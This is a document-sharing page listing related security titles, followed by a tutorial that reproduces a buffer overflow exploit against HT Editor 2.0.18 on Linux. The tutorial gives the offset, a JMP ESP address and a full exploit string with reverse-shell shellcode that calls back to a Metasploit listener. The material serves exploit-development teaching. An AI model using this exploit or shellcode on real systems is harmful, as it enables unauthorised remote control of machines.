Linux exploit development part 2 (rev 2) - Real app demo (part 2)

Similar documents
ASL IT SECURITY XTREME XPLOIT DEVELOPMENT

Custom Penetration Testing

Off-by-One exploitation tutorial

Bypassing Memory Protections: The Future of Exploitation

Penetration Testing with Kali Linux

Reverse Engineering and Computer Security

telnetd exploit FreeBSD Telnetd Remote Exploit Für Compass Security AG Öffentliche Version 1.0 Januar 2012

IS L06 Protect Servers and Defend Against APTs with Symantec Critical System Protection

Hotpatching and the Rise of Third-Party Patches

Format string exploitation on windows Using Immunity Debugger / Python. By Abysssec Inc

Exploiting nginx chunked overflow bug, the undisclosed attack vector

Bypassing Browser Memory Protections in Windows Vista

Vulnerability Assessment and Penetration Testing

Buffer Overflow HackSys Team - Panthera

Stack Overflows. Mitchell Adair

Hacking your perimeter. Social-Engineering. Not everyone needs to use zero. David Kennedy (ReL1K) Twitter: Dave_ReL1K

Hacking Techniques & Intrusion Detection. Ali Al-Shemery arabnix [at] gmail

AUTHOR CONTACT DETAILS

Return-oriented programming without returns

Heap-based Buffer Overflow Vulnerability in Adobe Flash Player

Penetration Testing Walkthrough

Improve Fortran Code Quality with Static Analysis

Writing Exploits III

From SQL Injection to MIPS Overflows

Software security. Buffer overflow attacks SQL injections. Lecture 11 EIT060 Computer Security

Software Vulnerabilities

Learn Ethical Hacking, Become a Pentester

Bypassing Windows Hardware-enforced Data Execution Prevention

Modern Binary Exploitation Course Syllabus

Defense in Depth: Protecting Against Zero-Day Attacks

Attacking Host Intrusion Prevention Systems. Eugene Tsyrklevich

CIT 480: Securing Computer Systems. Vulnerability Scanning and Exploitation Frameworks

TUNNA. A tool designed to bypass firewall restrictions on remote webservers. By: Rodrigo Marcos Nikos Vassakis

PTSv2 in pills: The Best First for Beginners who want to become Penetration Testers. Self-paced, online, flexible access

Source Code Vulnerability Assessment Methodology

Using fuzzing to detect security vulnerabilities

Exercise 7 Network Forensics

Peach Fuzzer Platform

Automated Penetration Testing with the Metasploit Framework. NEO Information Security Forum March 19, 2008

Lab 12: Mitigation and Deterrent Techniques - Anti-Forensic

HOW I MET YOUR MODEM EXPLOIT & TROJAN DEV FOR CONSUMER DSL DEVICES HACK IN THE BOX 2013 AMSTERDAM - PETER GEISSLER & STEVEN KETELAAR

TNM093 Practical Data Visualization and Virtual Reality Laboratory Platform

PuttyRider. With great power comes great responsibility. # Pivoting from Windows to Linux in a penetration test. Adrian Furtunã, PhD adif2k8@gmail.

derop: Removing Return-Oriented Programming from Malware

WLSI Windows Local Shellcode Injection. Cesar Cerrudo Argeniss (

Testing for Security

Return-oriented Programming: Exploitation without Code Injection

Quick Start Tutorial. Using the TASKING* Software Development Tools with the Intel 8x930 Family Evaluation Board

Secrets of Vulnerability Scanning: Nessus, Nmap and More. Ron Bowes - Researcher, Tenable Network Security

WHITEPAPER. Nessus Exploit Integration

Assembly Language: Function Calls" Jennifer Rexford!

OWASP Spain Barcelona 2014

Vulnerability analysis

1. What is this? Why would I want it?

Practical taint analysis for protecting buggy binaries

Post Exploitation. n00bpentesting.com

Payment Card Industry (PCI) Terminal Software Security. Best Practices

Unix Security Technologies. Pete Markowsky <peterm[at] ccs.neu.edu>

Introduction. Application Security. Reasons For Reverse Engineering. This lecture. Java Byte Code

Bust a cap in a web app with OWASP ZAP

Application-Specific Attacks: Leveraging the ActionScript Virtual Machine

Network Penetration Testing and Ethical Hacking Scanning/Penetration Testing. SANS Security Sans Mentor: Daryl Fallin

SECURITY B-SIDES: ATLANTA STRATEGIC PENETRATION TESTING. Presented by: Dave Kennedy Eric Smith

Improve Fortran Code Quality with Static Security Analysis (SSA)

Penetration Testing LAB Setup Guide

Eddy Integrated Development Environment, LemonIDE for Embedded Software System Development

PowerShell. It s time to own. David Kennedy (ReL1K) Josh Kelley (Winfang) Twitter: dave_rel1k

Metasploit Lab: Attacking Windows XP and Linux Targets

CS61: Systems Programing and Machine Organization

Intelligence Gathering. n00bpentesting.com

Advanced IBM AIX Heap Exploitation. Tim Shelton V.P. Research & Development HAWK Network Defense, Inc. tshelton@hawkdefense.com

Overview. Open source toolchains. Buildroot features. Development process

Hands-on CUDA exercises

MWR InfoSecurity Advisory. Interwoven Worksite ActiveX Control Remote Code Execution. 10 th March Contents

NEW AND IMPROVED! INSTALLING an IRC Server (Internet Relay Chat) on your WRT54G,GS,GL Version 1.02 April 2 nd, Rusty Haddock/AE5AE

EECS 354 Network Security. Introduction

Syscall Proxying - Simulating remote execution Maximiliano Caceres <maximiliano.caceres@corest.com> Copyright 2002 CORE SECURITY TECHNOLOGIES

Abysssec Research. 1) Advisory information. 2) Vulnerable version

Penetration Testing Using The Kill Chain Methodology

IDS and Penetration Testing Lab II

Tools and Techniques to automate the discovery of Zero Day Vulnerabilities. A.K.A Fuzzing 101

Certified Cyber Security Expert V Web Application Development

TitanMist: Your First Step to Reversing Nirvana TitanMist. mist.reversinglabs.com

SimbaEngine SDK 9.4. Build a C++ ODBC Driver for SQL-Based Data Sources in 5 Days. Last Revised: October Simba Technologies Inc.

Integrated Network Vulnerability Scanning & Penetration Testing SAINTcorporation.com

90% of data breaches are caused by software vulnerabilities.

Q N X S O F T W A R E D E V E L O P M E N T P L A T F O R M v Steps to Developing a QNX Program Quickstart Guide

Black Box Penetration Testing For GPEN.KM V1.0 Month dd "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383;!

For a 64-bit system. I - Presentation Of The Shellcode

INTRODUCTION TO MALWARE & MALWARE ANALYSIS

Buffer Overflows. Security 2011

Transcription:

Linux exploit development part 2 (rev 2) - Real app demo (part 2) This will be a short tutorial demonstrating a "buffer overflow" exploit on a real application which is freely available using the techniques covered in part 2 of my tutorial series, if you have not read it you can check it our here: Linux Exploit Writing Tutorial Pt 2 - Stack Overflow ASLR bypass Using ret2reg NOTE: * This paper will not go in depth with explanations (as this has already been covered in the tutorial mentioned above). * This paper will not teach you about "buffer overflows" (as mentioned this is just a demonstration). * I am not responsible for anything you do with this knowledge. Requirements: * The required knowledge for this can be found in the previous mentioned paper. * You will need a Debian Squeeze (latest). * Backtrack 4 R2 (Or any other distribution with Metasploit on it). * Some GDB knowledge. * checksec.sh (a very useful script). * The vulnerable application (HT Editor <= 2.0.18) If you do not posses the required knowledge I can not guarantee that this paper will be beneficial for you. Let us begin!

Compiling and checking our vulnerable application. As you have probably expected the vulnerable application will be taken from exploit-db, the application is called HT Editor. (I did not discover this vulnerability I am just reproducing it). You can download the application from: exploit-db.com or sourceforge.net (The version has to be <= 2.0.18). Now that we have the application let s go ahead and compile it by typing:./configure This is how the configure output should look like (make sure you try and make it look the same). Figure 1.

After obtaining the same output we still need to make some changes in the Makefile to turn off NX, we just need to add the -z execstack flag in some lines. make make install Figure 2. We have your application up and running now let s see what protections is has using checksec.sh (again, make sure the results match if not the exploit might now work). Figure 3. As we see there are no protections, let us move on.

Open application in debugger and trigger the exception. Now we open our application in GDB and send it some junk to see it s behaviour. After a few tries we see that the offset needed for an exception to occur is 4108. Figure 4. Once you send the junk the image might look something like this (could happen only here). Figure 5. If this happens just type in gdb shell clear and press ENTER.

Ok so far so good! Now let s check the registers and see what we have. Figure 6. We have overwritten EBX, ESI, EDI and EIP. If we take a look into ESP we see that the ESP points to our buffer which actually goes a little higher. Figure 7.

A few tries as we see that the offset needed before EIP overwrite is 4073. We send the application more junk and check ESP again. Figure 8. Figure 9. So ESP actually points right after the EIP overwrite occurs, now we can make our exploit skeleton which should look like this: JUNK + 4073 + EIP (Overwrite with a JMP/CALL %esp instruction) + NOP Sled + SC

Finding the right instruction. First thing is first let s find our JMP/CALL %esp instruction. Figure 10. There are a lot of valid JMP/CALL %esp instructions we are just going to choose 0x0818f8ff, now for our shellcode. This time we will use a meterpreter (as it is more fun). Figure 11. Now let us see how the exploit should look like: "\x41" * 4073 (JUNK) + "\xff\xf8\x18\x08" (JMP %esp) + "\x90" * 30 (NOP Sled) + "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x01\x42\x66\x68\ x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\ x80\xff\xe1" (Shell Code)

Setting up a listener and testing the exploit. First let s set up a listener in Metasploit. Figure 12. And when we run the exploit inside GDB. Figure 13.

Now reboot the system and let s try again. Figure 14. Figure 15. Figure 16. BOOM a meterpreter session! Watch quick video demo: Linux exploit development part 2 (rev 2) - Demo

Thanks go to: 1. Contributors: Alexandre Maloteaux (troulouliou) and jduck for their grate help! 2. Reviewers: g0tmi1k for taking the time to review my paper!